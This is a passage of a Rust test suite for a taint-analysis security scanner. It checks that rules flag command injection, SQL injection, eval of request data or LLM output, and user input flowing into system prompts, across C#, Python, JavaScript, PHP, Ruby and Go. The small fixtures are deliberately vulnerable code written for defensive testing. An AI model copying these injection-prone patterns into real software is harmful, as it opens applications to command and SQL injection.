        let findings = rule.check(src, &tree);
        assert!(
            findings.is_empty(),
            "untainted argument must not fire, got {:?}",
            findings
        );
    }

    /// PHP taint rule with `languages: [php]` compiles cleanly.
    #[test]
    fn taint_rule_with_php_language_compiles() {
        let yaml = r#"
id: php-taint
mode: taint
languages: [php]
severity: ERROR
message: m
pattern-sources: [{pattern: $_GET}]
pattern-sinks: [{pattern: system($X)}]
"#;
        let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
        match parse_taint_rule(&v) {
            TaintRuleParse::Compiled(r) => {
                assert_eq!(r.lang, Language::Php);
                assert_eq!(r.spec.sources.len(), 1);
                assert_eq!(r.spec.sinks.len(), 1);
            }
            TaintRuleParse::Skip(msg) => panic!("unexpected skip: {}", msg),
            TaintRuleParse::NotTaint => panic!("expected taint rule"),
        }
    }

    // ─── Bridge-level (end-to-end) tests for C# taint engine ─────────────────
    //
    // These compile a rule through `parse_taint_rule` (the SAME path the CLI
    // uses) and run it against real C# source via the bridge. We test the
    // primary dotted-source shapes that arrive as `Attribute` / `Call` matchers
    // through the bridge (not `ParamName`, since C# sources are dotted).

    /// `Request.QueryString["cmd"] → Process.Start(cmd)` fires end-to-end.
    #[test]
    fn csharp_bridge_dotted_source_to_process_start_fires() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: csharp-cmd-injection
mode: taint
languages: [csharp]
severity: ERROR
message: "Tainted input reaches Process.Start"
metadata:
  cwe: "CWE-78"
pattern-sources:
  - pattern: Request.QueryString
pattern-sinks:
  - pattern: Process.Start($X)
"#,
        );

        let src = r#"
using System.Web;
using System.Diagnostics;

class Controller {
    public void Handle() {
        string cmd = Request.QueryString["cmd"];
        Process.Start(cmd);
    }
}
"#;
        let tree = parse_file(src, Language::CSharp).expect("C# fixture should parse");
        let findings = rule.check(src, &tree);
        assert_eq!(
            findings.len(),
            1,
            "expected 1 finding for Request.QueryString -> Process.Start, got {:?}",
            findings
        );
        assert!(
            findings[0].line > 0,
            "finding should carry a valid line number"
        );
    }

    /// Sanitized variant: `HttpUtility.HtmlEncode(raw)` blocks XSS.
    #[test]
    fn csharp_bridge_sanitized_variant_produces_no_finding() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: csharp-xss-sanitized
mode: taint
languages: [csharp]
severity: ERROR
message: "Tainted input reaches Response.Write"
pattern-sources:
  - pattern: Request.QueryString
pattern-sanitizers:
  - pattern: HttpUtility.HtmlEncode($X)
pattern-sinks:
  - pattern: Response.Write($X)
"#,
        );

        let src = r#"
using System.Web;

class Controller {
    public void Handle() {
        string raw = Request.QueryString["q"];
        string safe = HttpUtility.HtmlEncode(raw);
        Response.Write(safe);
    }
}
"#;
        let tree = parse_file(src, Language::CSharp).expect("C# fixture should parse");
        let findings = rule.check(src, &tree);
        assert!(
            findings.is_empty(),
            "sanitized flow must produce no finding, got {:?}",
            findings
        );
    }

    /// Near-miss: tainted variable not passed to the sink → no finding.
    #[test]
    fn csharp_bridge_near_miss_produces_no_finding() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: csharp-cmd-nearmiss
mode: taint
languages: [csharp]
severity: ERROR
message: "Tainted input reaches Process.Start"
pattern-sources:
  - pattern: Request.QueryString
pattern-sinks:
  - pattern: Process.Start($X)
"#,
        );

        // tainted is assigned but a literal "notepad.exe" is passed to the sink.
        let src = r#"
using System.Web;
using System.Diagnostics;

class Controller {
    public void Handle() {
        string _tainted = Request.QueryString["cmd"];
        Process.Start("notepad.exe");
    }
}
"#;
        let tree = parse_file(src, Language::CSharp).expect("C# fixture should parse");
        let findings = rule.check(src, &tree);
        assert!(
            findings.is_empty(),
            "near-miss must produce no finding, got {:?}",
            findings
        );
    }

    /// `csharp` language alias parses correctly.
    #[test]
    fn taint_rule_with_csharp_language_compiles() {
        let yaml = r#"
id: cs-taint
mode: taint
languages: [csharp]
severity: ERROR
message: m
pattern-sources: [{pattern: Request.QueryString}]
pattern-sinks: [{pattern: Process.Start($X)}]
"#;
        let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
        match parse_taint_rule(&v) {
            TaintRuleParse::Compiled(r) => {
                assert_eq!(r.lang, Language::CSharp);
                assert_eq!(r.spec.sources.len(), 1);
                assert_eq!(r.spec.sinks.len(), 1);
            }
            TaintRuleParse::Skip(msg) => panic!("unexpected skip: {}", msg),
            TaintRuleParse::NotTaint => panic!("expected taint rule"),
        }
    }

    /// `cs` alias compiles as C#.
    #[test]
    fn taint_rule_with_cs_alias_compiles_as_csharp() {
        let yaml = r#"
id: cs-taint
mode: taint
languages: [cs]
severity: ERROR
message: m
pattern-sources: [{pattern: Request.QueryString}]
pattern-sinks: [{pattern: Process.Start($X)}]
"#;
        let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
        match parse_taint_rule(&v) {
            TaintRuleParse::Compiled(r) => assert_eq!(r.lang, Language::CSharp),
            TaintRuleParse::Skip(msg) => panic!("unexpected skip: {}", msg),
            TaintRuleParse::NotTaint => panic!("expected taint rule"),
        }
    }

    /// `Console.ReadLine()` → `Process.Start()` fires via Call source.
    #[test]
    fn csharp_bridge_console_readline_to_process_start() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: csharp-console-cmdi
mode: taint
languages: [csharp]
severity: ERROR
message: "Console.ReadLine input reaches Process.Start"
pattern-sources:
  - pattern: Console.ReadLine($X)
pattern-sinks:
  - pattern: Process.Start($X)
"#,
        );

        let src = r#"
using System;
using System.Diagnostics;

class App {
    static void Main() {
        string cmd = Console.ReadLine();
        Process.Start(cmd);
    }
}
"#;
        let tree = parse_file(src, Language::CSharp).expect("C# fixture should parse");
        let findings = rule.check(src, &tree);
        assert_eq!(
            findings.len(),
            1,
            "expected 1 finding for Console.ReadLine -> Process.Start, got {:?}",
            findings
        );
    }

    // ── Bridge-level tests: FieldName (any-receiver property read source) ────
    //
    // These compile a rule with a `$METAVAR.field` source through the SAME
    // `parse_taint_rule` path the CLI uses, then run the compiled rule against
    // a real vulnerable source string and assert it FIRES — proving the new
    // shape is wired end-to-end through the bridge AND the engine. A safe
    // variant (no tainted property read) must NOT fire.

    /// Python: `$REQ.body` source → `os.system` sink. `req.body` is a property
    /// read on a metavariable receiver — only `FieldName` can express it.
    #[test]
    fn python_bridge_fieldname_source_to_system_sink_fires() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: py-fieldname-cmdi
mode: taint
languages: [python]
severity: ERROR
message: "Tainted request body reaches os.system"
pattern-sources:
  - pattern: $REQ.body
pattern-sinks:
  - pattern: os.system($X)
"#,
        );
        // FieldName compiles a property read of `.body`.
        assert!(matches!(
            rule.spec.sources.as_slice(),
            [GenericMatcher::FieldName { field, .. }] if field == "body"
        ));

        let src = r#"
def handler(req):
    data = req.body
    os.system(data)
"#;
        let tree = parse_file(src, Language::Python).expect("python fixture should parse");
        let findings = rule.check(src, &tree);
        assert_eq!(
            findings.len(),
            1,
            "expected 1 finding for req.body -> os.system, got {:?}",
            findings
        );
    }

    /// Python safe variant: a value that is NOT the `.body` property read must
    /// not be flagged, proving FieldName is field-specific (not "any read").
    #[test]
    fn python_bridge_fieldname_safe_property_does_not_fire() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: py-fieldname-cmdi-safe
mode: taint
languages: [python]
severity: ERROR
message: "Tainted request body reaches os.system"
pattern-sources:
  - pattern: $REQ.body
pattern-sinks:
  - pattern: os.system($X)
"#,
        );

        let src = r#"
def handler(req):
    data = req.session
    os.system(data)
"#;
        let tree = parse_file(src, Language::Python).expect("python fixture should parse");
        let findings = rule.check(src, &tree);
        assert!(
            findings.is_empty(),
            "req.session is not `.body`; expected no finding, got {:?}",
            findings
        );
    }

    /// JavaScript: `$REQ.query` source → `eval` sink, exercising the JS
    /// `member_expression` FieldName path through the bridge.
    #[test]
    fn javascript_bridge_fieldname_source_to_eval_sink_fires() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: js-fieldname-eval
mode: taint
languages: [javascript]
severity: ERROR
message: "Tainted req.query reaches eval"
pattern-sources:
  - pattern: $REQ.query
pattern-sinks:
  - pattern: eval($X)
"#,
        );

        let src = r#"
function handler(req) {
    const q = req.query;
    eval(q);
}
"#;
        let tree = parse_file(src, Language::JavaScript).expect("js fixture should parse");
        let findings = rule.check(src, &tree);
        assert_eq!(
            findings.len(),
            1,
            "expected 1 finding for req.query -> eval, got {:?}",
            findings
        );
    }

    // ── Bridge-level tests: Subscript (index/subscript access source) ────────

    /// Python: `request.POST[...]` source → `os.system` sink. The subscript
    /// base's final segment is `POST`.
    #[test]
    fn python_bridge_subscript_source_to_system_sink_fires() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: py-subscript-cmdi
mode: taint
languages: [python]
severity: ERROR
message: "Tainted request.POST reaches os.system"
pattern-sources:
  - pattern: request.POST[...]
pattern-sinks:
  - pattern: os.system($X)
"#,
        );
        assert!(matches!(
            rule.spec.sources.as_slice(),
            [GenericMatcher::Subscript { base: Some(b), .. }] if b == "POST"
        ));

        let src = r#"
def handler(request):
    cmd = request.POST["c"]
    os.system(cmd)
"#;
        let tree = parse_file(src, Language::Python).expect("python fixture should parse");
        let findings = rule.check(src, &tree);
        assert_eq!(
            findings.len(),
            1,
            "expected 1 finding for request.POST[...] -> os.system, got {:?}",
            findings
        );
    }

    /// Python safe variant: a subscript on a different base (`safe[...]`)
    /// must not fire when the rule wants `request.POST[...]`.
    #[test]
    fn python_bridge_subscript_safe_base_does_not_fire() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: py-subscript-cmdi-safe
mode: taint
languages: [python]
severity: ERROR
message: "Tainted request.POST reaches os.system"
pattern-sources:
  - pattern: request.POST[...]
pattern-sinks:
  - pattern: os.system($X)
"#,
        );

        let src = r#"
def handler(config):
    cmd = config.SETTINGS["c"]
    os.system(cmd)
"#;
        let tree = parse_file(src, Language::Python).expect("python fixture should parse");
        let findings = rule.check(src, &tree);
        assert!(
            findings.is_empty(),
            "config.SETTINGS[...] is not request.POST[...]; expected no finding, got {:?}",
            findings
        );
    }

    /// PHP: `$_GET[...]` subscript source → `system` sink via the bridge.
    #[test]
    fn php_bridge_subscript_source_to_system_sink_fires() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: php-subscript-cmdi
mode: taint
languages: [php]
severity: ERROR
message: "Tainted $_GET reaches system"
pattern-sources:
  - pattern: $_GET[...]
pattern-sinks:
  - pattern: system($X)
"#,
        );

        let src = r#"<?php
function handler() {
    $cmd = $_GET["c"];
    system($cmd);
}
"#;
        let tree = parse_file(src, Language::Php).expect("php fixture should parse");
        let findings = rule.check(src, &tree);
        assert_eq!(
            findings.len(),
            1,
            "expected 1 finding for $_GET[...] -> system, got {:?}",
            findings
        );
    }

    // ── Bridge-level tests: ReceiverCall (`receiver.$METHOD(...)` sink) ──────

    /// Python: `request.args` source → `os.$METHOD(...)` sink. The sink is a
    /// metavariable method on a concrete `os` receiver — only `ReceiverCall`
    /// can express it.
    #[test]
    fn python_bridge_receivercall_sink_fires() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: py-receivercall-cmdi
mode: taint
languages: [python]
severity: ERROR
message: "Tainted request reaches os.<any>"
pattern-sources:
  - pattern: $REQ.cmd
pattern-sinks:
  - pattern: os.$METHOD(...)
"#,
        );
        assert!(matches!(
            rule.spec.sinks.as_slice(),
            [GenericMatcher::ReceiverCall { receiver, .. }] if receiver == "os"
        ));

        let src = r#"
def handler(req):
    c = req.cmd
    os.system(c)
"#;
        let tree = parse_file(src, Language::Python).expect("python fixture should parse");
        let findings = rule.check(src, &tree);
        assert_eq!(
            findings.len(),
            1,
            "expected 1 finding for req.cmd -> os.system (os.$METHOD), got {:?}",
            findings
        );
    }

    /// Python safe variant: a call on a DIFFERENT receiver (`safe.run`) must
    /// not be flagged when the rule wants `os.$METHOD(...)`.
    #[test]
    fn python_bridge_receivercall_other_receiver_does_not_fire() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: py-receivercall-cmdi-safe
mode: taint
languages: [python]
severity: ERROR
message: "Tainted request reaches os.<any>"
pattern-sources:
  - pattern: $REQ.cmd
pattern-sinks:
  - pattern: os.$METHOD(...)
"#,
        );

        let src = r#"
def handler(req):
    c = req.cmd
    logger.info(c)
"#;
        let tree = parse_file(src, Language::Python).expect("python fixture should parse");
        let findings = rule.check(src, &tree);
        assert!(
            findings.is_empty(),
            "logger.info is not os.$METHOD; expected no finding, got {:?}",
            findings
        );
    }

    /// Ruby: bare `params` source → `Kernel.$X(...)` ReceiverCall sink.
    #[test]
    fn ruby_bridge_receivercall_sink_fires() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: ruby-receivercall-cmdi
mode: taint
languages: [ruby]
severity: ERROR
message: "Tainted params reaches Kernel.<any>"
pattern-sources:
  - pattern: params
pattern-sinks:
  - pattern: Kernel.$X(...)
"#,
        );

        let src = r#"
def handler
  cmd = params[:cmd]
  Kernel.system(cmd)
end
"#;
        let tree = parse_file(src, Language::Ruby).expect("ruby fixture should parse");
        let findings = rule.check(src, &tree);
        assert_eq!(
            findings.len(),
            1,
            "expected 1 finding for params -> Kernel.system (Kernel.$X), got {:?}",
            findings
        );
    }

    // ── Bridge-level tests: BinopFormat (`"$SQL" + $X` / f-string sink) ──────

    /// Python: `request.args` source → `"$SQLSTR" + ...` concatenation sink.
    /// The sink is a string-building binary `+` — only `BinopFormat` can
    /// express it.
    #[test]
    fn python_bridge_binop_format_concat_sink_fires() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: py-binop-sqli
mode: taint
languages: [python]
severity: ERROR
message: "Tainted request flows into a built SQL string"
pattern-sources:
  - pattern: $REQ.args
pattern-sinks:
  - pattern: '"$SQLSTR" + ...'
"#,
        );
        assert!(
            matches!(
                rule.spec.sinks.as_slice(),
                [GenericMatcher::BinopFormat { .. }]
            ),
            "sink should compile to BinopFormat, got {:?}",
            rule.spec.sinks
        );

        let src = r#"
def handler(req):
    name = req.args
    query = "SELECT * FROM t WHERE n = " + name
    db.execute(query)
"#;
        let tree = parse_file(src, Language::Python).expect("python fixture should parse");
        let findings = rule.check(src, &tree);
        assert_eq!(
            findings.len(),
            1,
            "expected 1 finding for req.args -> \"...\" + name, got {:?}",
            findings
        );
    }

    /// Python safe variant: a literal-only concatenation with NO tainted
    /// operand must not fire, proving `BinopFormat` is not over-broad.
    #[test]
    fn python_bridge_binop_format_untainted_concat_does_not_fire() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: py-binop-sqli-safe
mode: taint
languages: [python]
severity: ERROR
message: "Tainted request flows into a built SQL string"
pattern-sources:
  - pattern: $REQ.args
pattern-sinks:
  - pattern: '"$SQLSTR" + ...'
"#,
        );

        let src = r#"
def handler(req):
    name = req.args
    query = "SELECT * FROM t WHERE n = " + "constant"
    db.execute(query)
"#;
        let tree = parse_file(src, Language::Python).expect("python fixture should parse");
        let findings = rule.check(src, &tree);
        assert!(
            findings.is_empty(),
            "literal-only concat has no tainted operand; expected no finding, got {:?}",
            findings
        );
    }

    /// Python: f-string interpolation sink `f"...{$X}..."` with a tainted
    /// interpolated value fires.
    #[test]
    fn python_bridge_binop_format_fstring_sink_fires() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: py-binop-fstring-sqli
mode: taint
languages: [python]
severity: ERROR
message: "Tainted request flows into an f-string SQL"
pattern-sources:
  - pattern: $REQ.args
pattern-sinks:
  - pattern: 'f"...{$X}..."'
"#,
        );
        assert!(
            matches!(
                rule.spec.sinks.as_slice(),
                [GenericMatcher::BinopFormat { .. }]
            ),
            "f-string sink should compile to BinopFormat, got {:?}",
            rule.spec.sinks
        );

        let src = r#"
def handler(req):
    name = req.args
    query = f"SELECT * FROM t WHERE n = {name}"
    db.execute(query)
"#;
        let tree = parse_file(src, Language::Python).expect("python fixture should parse");
        let findings = rule.check(src, &tree);
        assert_eq!(
            findings.len(),
            1,
            "expected 1 finding for req.args -> f-string, got {:?}",
            findings
        );
    }

    /// Python: percent-format sink `"$HTMLSTR" % ...` with a tainted operand
    /// fires (old-style string formatting).
    #[test]
    fn python_bridge_binop_format_percent_sink_fires() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: py-binop-percent-html
mode: taint
languages: [python]
severity: ERROR
message: "Tainted request flows into a percent-formatted string"
pattern-sources:
  - pattern: $REQ.args
pattern-sinks:
  - pattern: '"$HTMLSTR" % ...'
"#,
        );

        let src = r#"
def handler(req):
    name = req.args
    page = "<b>%s</b>" % name
    render(page)
"#;
        let tree = parse_file(src, Language::Python).expect("python fixture should parse");
        let findings = rule.check(src, &tree);
        assert_eq!(
            findings.len(),
            1,
            "expected 1 finding for req.args -> \"...\" % name, got {:?}",
            findings
        );
    }

    /// Go: a request field-read source → `"$SQLSTR" + ...` concat sink.
    /// Confirms the Go engine matches `BinopFormat` on `binary_expression`.
    #[test]
    fn go_bridge_binop_format_concat_sink_fires() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: go-binop-sqli
mode: taint
languages: [go]
severity: ERROR
message: "Tainted request value flows into a built SQL string"
pattern-sources:
  - pattern: $REQ.Body
pattern-sinks:
  - pattern: '"$SQLSTR" + ...'
"#,
        );
        assert!(
            matches!(
                rule.spec.sinks.as_slice(),
                [GenericMatcher::BinopFormat { .. }]
            ),
            "go sink should compile to BinopFormat, got {:?}",
            rule.spec.sinks
        );

        let src = r#"
package main

func handler(r *Request) {
    name := r.Body
    query := "SELECT * FROM t WHERE n = " + name
    db.Exec(query)
}
"#;
        let tree = parse_file(src, Language::Go).expect("go fixture should parse");
        let findings = rule.check(src, &tree);
        assert_eq!(
            findings.len(),
            1,
            "expected 1 finding for r.Body -> \"...\" + name, got {:?}",
            findings
        );
    }

    /// Go safe variant: a literal-only concatenation with no tainted operand
    /// must not fire.
    #[test]
    fn go_bridge_binop_format_untainted_concat_does_not_fire() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: go-binop-sqli-safe
mode: taint
languages: [go]
severity: ERROR
message: "Tainted request value flows into a built SQL string"
pattern-sources:
  - pattern: $REQ.Body
pattern-sinks:
  - pattern: '"$SQLSTR" + ...'
"#,
        );

        let src = r#"
package main

func handler(r *Request) {
    _ = r.Body
    query := "SELECT * FROM t WHERE n = " + "constant"
    db.Exec(query)
}
"#;
        let tree = parse_file(src, Language::Go).expect("go fixture should parse");
        let findings = rule.check(src, &tree);
        assert!(
            findings.is_empty(),
            "literal-only concat has no tainted operand; expected no finding, got {:?}",
            findings
        );
    }

    // ── CALL-ON-MEMBER bridge (end-to-end) tests ─────────────────────────────
    //
    // A method call whose receiver is a member-access chain with a metavar root
    // (e.g. `$CLIENT.chat.completions.create(...)`) is compiled to a FieldName
    // on the penultimate field (`completions`). The engine taints that member
    // read; the trailing `.create(...)` propagates the taint. These go through
    // `parse_taint_rule` → `check`, the same path the CLI uses, on a real
    // fixture wrapped in a function (taint engines analyze inside functions).

    /// Python: `$CLIENT.chat.completions.create(...)` LLM-output source flows
    /// into `eval(...)` and fires. Mirrors `llm-output-to-exec-python`.
    #[test]
    fn python_bridge_member_call_llm_source_to_eval_fires() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: py-llm-output-to-exec
mode: taint
languages: [python]
severity: ERROR
message: "LLM output reaches eval"
pattern-sources:
  - pattern: $CLIENT.chat.completions.create(...)
pattern-sinks:
  - pattern: eval($SINK)
"#,
        );
        assert!(
            matches!(rule.spec.sources.as_slice(), [GenericMatcher::FieldName { field, .. }] if field == "completions"),
            "source should compile to FieldName{{completions}}, got {:?}",
            rule.spec.sources
        );

        let src = r#"
def run(client):
    out = client.chat.completions.create(model="gpt-4")
    eval(out)
"#;
        let tree = parse_file(src, Language::Python).expect("python fixture should parse");
        let findings = rule.check(src, &tree);
        assert_eq!(
            findings.len(),
            1,
            "expected 1 finding for completions.create -> eval, got {:?}",
            findings
        );
    }

    /// Python near-miss: a DIFFERENT penultimate field (`other.create`) must
    /// NOT be tainted, so no finding fires.
    #[test]
    fn python_bridge_member_call_different_field_near_miss_no_finding() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: py-llm-output-to-exec
mode: taint
languages: [python]
severity: ERROR
message: "LLM output reaches eval"
pattern-sources:
  - pattern: $CLIENT.chat.completions.create(...)
pattern-sinks:
  - pattern: eval($SINK)
"#,
        );

        let src = r#"
def run(client):
    out = client.chat.other.create(model="gpt-4")
    eval(out)
"#;
        let tree = parse_file(src, Language::Python).expect("python fixture should parse");
        let findings = rule.check(src, &tree);
        assert!(
            findings.is_empty(),
            "different penultimate field must not taint; expected no finding, got {:?}",
            findings
        );
    }

    /// JavaScript: `$CLIENT.messages.create(...)` flows into `eval(...)`.
    /// Mirrors `llm-output-to-exec-javascript`.
    #[test]
    fn javascript_bridge_member_call_llm_source_to_eval_fires() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: js-llm-output-to-exec
mode: taint
languages: [javascript]
severity: ERROR
message: "LLM output reaches eval"
pattern-sources:
  - pattern: $CLIENT.messages.create(...)
pattern-sinks:
  - pattern: eval($SINK)
"#,
        );
        assert!(
            matches!(rule.spec.sources.as_slice(), [GenericMatcher::FieldName { field, .. }] if field == "messages"),
            "source should compile to FieldName{{messages}}, got {:?}",
            rule.spec.sources
        );

        let src = r#"
function run(client) {
    const out = client.messages.create({model: "claude"});
    eval(out);
}
"#;
        let tree = parse_file(src, Language::JavaScript).expect("js fixture should parse");
        let findings = rule.check(src, &tree);
        assert_eq!(
            findings.len(),
            1,
            "expected 1 finding for messages.create -> eval, got {:?}",
            findings
        );
    }

    /// JavaScript near-miss: a different penultimate field does not fire.
    #[test]
    fn javascript_bridge_member_call_different_field_near_miss_no_finding() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: js-llm-output-to-exec
mode: taint
languages: [javascript]
severity: ERROR
message: "LLM output reaches eval"
pattern-sources:
  - pattern: $CLIENT.messages.create(...)
pattern-sinks:
  - pattern: eval($SINK)
"#,
        );

        let src = r#"
function run(client) {
    const out = client.completions.create({model: "claude"});
    eval(out);
}
"#;
        let tree = parse_file(src, Language::JavaScript).expect("js fixture should parse");
        let findings = rule.check(src, &tree);
        assert!(
            findings.is_empty(),
            "different penultimate field must not taint; expected no finding, got {:?}",
            findings
        );
    }

    // ── Concrete-root metavar-field bridge tests: `request.$ANYTHING` ────────
    //
    // A concrete request root with a wildcard field (`request.$ANYTHING`) is
    // compiled to a `ParamName` source on the root `request`; the engine then
    // taints every attribute read on that root. Mirrors the Django
    // `tainted-sql-string` / `tainted-url-host` / `raw-html-format` rules.

    #[test]
    fn compile_concrete_root_metavar_field_yields_paramname_root() {
        let m = compile("request.$ANYTHING", MatcherRole::Source).expect("request source");
        match m {
            GenericMatcher::ParamName { names, .. } => {
                assert_eq!(names, vec!["request".to_string()])
            }
            other => panic!("expected ParamName[request], got {other:?}"),
        }
        // Metavar root is rejected (too broad).
        assert!(parse_concrete_root_metavar_field("$REQ.$ANYTHING").is_none());
        // Concrete field is NOT this shape (it is a plain Attribute).
        assert!(parse_concrete_root_metavar_field("request.GET").is_none());
        // Three segments rejected.
        assert!(parse_concrete_root_metavar_field("a.b.$X").is_none());
    }

    /// Python: `request.$ANYTHING` source flows into a `"..." + ...` SQL string
    /// and fires. Mirrors `tainted-sql-string` (django).
    #[test]
    fn python_bridge_request_anything_source_to_binop_sink_fires() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: py-django-tainted-sql
mode: taint
languages: [python]
severity: ERROR
message: "Tainted request attribute reaches a built SQL string"
pattern-sources:
  - pattern: request.$ANYTHING
pattern-sinks:
  - pattern: '"$SQLSTR" + ...'
"#,
        );
        assert!(
            matches!(rule.spec.sources.as_slice(), [GenericMatcher::ParamName { names, .. }] if names == &["request".to_string()]),
            "source should compile to ParamName[request], got {:?}",
            rule.spec.sources
        );

        let src = r#"
def view(request):
    name = request.GET
    query = "SELECT * FROM t WHERE n = " + name
    cursor.execute(query)
"#;
        let tree = parse_file(src, Language::Python).expect("python fixture should parse");
        let findings = rule.check(src, &tree);
        assert_eq!(
            findings.len(),
            1,
            "expected 1 finding for request.GET -> \"...\" + name, got {:?}",
            findings
        );
    }

    /// Python near-miss: a non-request root (`config.GET`) is NOT a source, so a
    /// literal-built string from it does not fire.
    #[test]
    fn python_bridge_request_anything_non_request_root_near_miss_no_finding() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: py-django-tainted-sql
mode: taint
languages: [python]
severity: ERROR
message: "Tainted request attribute reaches a built SQL string"
pattern-sources:
  - pattern: request.$ANYTHING
pattern-sinks:
  - pattern: '"$SQLSTR" + ...'
"#,
        );

        let src = r#"
def view(config):
    name = config.GET
    query = "SELECT * FROM t WHERE n = " + name
    cursor.execute(query)
"#;
        let tree = parse_file(src, Language::Python).expect("python fixture should parse");
        let findings = rule.check(src, &tree);
        assert!(
            findings.is_empty(),
            "non-request root must not be a source; expected no finding, got {:?}",
            findings
        );
    }

    // ── Bridge-level tests: ObjectLiteralValue (LLM system-prompt sink) ──────

    /// Python: `request.data` source → `{"role": "system", "content": $SINK}`
    /// dict-literal sink. Only `ObjectLiteralValue` can express a dict-literal
    /// whose value position carries the tainted value.
    #[test]
    fn python_bridge_object_literal_sink_fires() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: py-objlit-prompt-injection
mode: taint
languages: [python]
severity: ERROR
message: "User input flows into a system-prompt dict literal"
pattern-sources:
  - pattern: request.data
pattern-sinks:
  - patterns:
      - pattern: |
          {"role": "system", "content": $SINK}
      - focus-metavariable: $SINK
"#,
        );
        assert!(
            matches!(
                rule.spec.sinks.as_slice(),
                [GenericMatcher::ObjectLiteralValue { .. }]
            ),
            "sink should compile to ObjectLiteralValue, got {:?}",
            rule.spec.sinks
        );

        let src = r#"
def handler():
    user = request.data
    msg = {"role": "system", "content": user}
    return msg
"#;
        let tree = parse_file(src, Language::Python).expect("python fixture should parse");
        let findings = rule.check(src, &tree);
        assert_eq!(
            findings.len(),
            1,
            "expected 1 finding for request.data -> dict literal value, got {:?}",
            findings
        );
    }

    /// Python near-miss: a dict literal with only literal values must NOT fire.
    #[test]
    fn python_bridge_object_literal_clean_does_not_fire() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: py-objlit-prompt-injection-safe
mode: taint
languages: [python]
severity: ERROR
message: "User input flows into a system-prompt dict literal"
pattern-sources:
  - pattern: request.data
pattern-sinks:
  - patterns:
      - pattern: |
          {"role": "system", "content": $SINK}
      - focus-metavariable: $SINK
"#,
        );

        let src = r#"
def handler():
    user = request.data
    msg = {"role": "system", "content": "you are a helpful assistant"}
    return msg
"#;
        let tree = parse_file(src, Language::Python).expect("python fixture should parse");
        let findings = rule.check(src, &tree);
        assert!(
            findings.is_empty(),
            "a dict literal with only literal values must not fire, got {:?}",
            findings
        );
    }

    /// JavaScript: `req.body` source → `{role: "system", content: $SINK}`
    /// object-literal sink.
    #[test]
    fn javascript_bridge_object_literal_sink_fires() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: js-objlit-prompt-injection
mode: taint
languages: [javascript, typescript]
severity: ERROR
message: "User input flows into a system-prompt object literal"
pattern-sources:
  - pattern: $REQ.body
pattern-sinks:
  - patterns:
      - pattern: |
          {role: "system", content: $SINK}
      - focus-metavariable: $SINK
"#,
        );
        assert!(
            matches!(
                rule.spec.sinks.as_slice(),
                [GenericMatcher::ObjectLiteralValue { .. }]
            ),
            "sink should compile to ObjectLiteralValue, got {:?}",
            rule.spec.sinks
        );

        let src = r#"
function handler(req) {
    const user = req.body;
    const msg = { role: "system", content: user };
    return msg;
}
"#;
        let tree = parse_file(src, Language::JavaScript).expect("js fixture should parse");
        let findings = rule.check(src, &tree);
        assert_eq!(
            findings.len(),
            1,
            "expected 1 finding for req.body -> object literal value, got {:?}",
            findings
        );
    }

    /// JavaScript near-miss: an object literal with only literal values must
    /// NOT fire.
    #[test]
    fn javascript_bridge_object_literal_clean_does_not_fire() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: js-objlit-prompt-injection-safe
mode: taint
languages: [javascript, typescript]
severity: ERROR
message: "User input flows into a system-prompt object literal"
pattern-sources:
  - pattern: $REQ.body
pattern-sinks:
  - patterns:
      - pattern: |
          {role: "system", content: $SINK}
      - focus-metavariable: $SINK
"#,
        );

        let src = r#"
function handler(req) {
    const user = req.body;
    const msg = { role: "system", content: "fixed instructions" };
    return msg;
}
"#;
        let tree = parse_file(src, Language::JavaScript).expect("js fixture should parse");
        let findings = rule.check(src, &tree);
        assert!(
            findings.is_empty(),
            "an object literal with only literal values must not fire, got {:?}",
            findings
        );
    }

    // ── Bridge-level tests: ReturnValue (`return $SINK` tainted-return sink) ──

    /// Python: `requests.get(...)` source → `return $SINK` sink. Only
    /// `ReturnValue` can express a sink that is the function's return value.
    #[test]
    fn python_bridge_return_value_sink_fires() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: py-return-value-sink
mode: taint
languages: [python]
severity: ERROR
message: "External response returned unsanitized"
pattern-sources:
  - pattern: requests.get(...)
pattern-sinks:
  - patterns:
      - pattern: return $SINK
      - focus-metavariable: $SINK
"#,
        );
        assert!(
            matches!(
                rule.spec.sinks.as_slice(),
                [GenericMatcher::ReturnValue { .. }]
            ),
            "sink should compile to ReturnValue, got {:?}",
            rule.spec.sinks
        );

        let src = r#"
def fetch():
    data = requests.get("http://api")
    return data
"#;
        let tree = parse_file(src, Language::Python).expect("python fixture should parse");
